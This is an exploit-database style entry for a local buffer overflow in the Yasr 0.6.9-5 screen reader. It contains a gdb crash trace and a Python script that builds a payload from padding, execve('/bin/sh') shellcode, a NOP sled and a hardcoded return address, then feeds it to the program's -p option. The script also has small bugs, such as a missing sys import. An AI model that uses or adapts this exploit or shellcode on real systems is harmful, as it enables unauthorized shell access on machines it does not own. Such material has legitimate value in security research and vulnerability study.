Yasr Screen Reader 0.6.9 – Local Buffer Overflow
''' # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com # Program affected: General-purpose console screen reader # Version: 0.6.9-5 # # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org # Program description: Yasr is a general-purpose console screen reader for GNU/Linux and other Unix-like operating systems. # Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb # MD5sum: 910f4b41fd09d5486b935097dc8dd2f8 # Website: http://yasr.sourceforge.net/ # # # Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258') # [Thread debugging using libthread_db enabled] # Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". # Program received signal SIGSEGV, Segmentation fault. # # 0x90909090 in ?? () # #gdb$ backtrace #0 0xb7fdebe0 in __kernel_vsyscall () #1 0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #2 0xb7e34a23 in __GI_abort () at abort.c:89 #3 0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:175 #4 0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696 "buffer overflow detected") at fortify_fail.c:31 #5 0xb7effc3a in __GI___chk_fail () at chk_fail.c:28 ''' import os, subprocess def run(): try: print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco" print "# This exploit is for educational purposes only" # JUNK + SHELLCODE + NOPS + EIP junk = "\x41"*298 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" nops = "\x90"*12 eip = "\xd2\xf3\xff\xbf" subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, Yasr Console Reader - Not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit Yasr 0.6.9-5 Local Overflow Exploit" print "Author: Juan Sacco" except IndexError: howtousage() run() |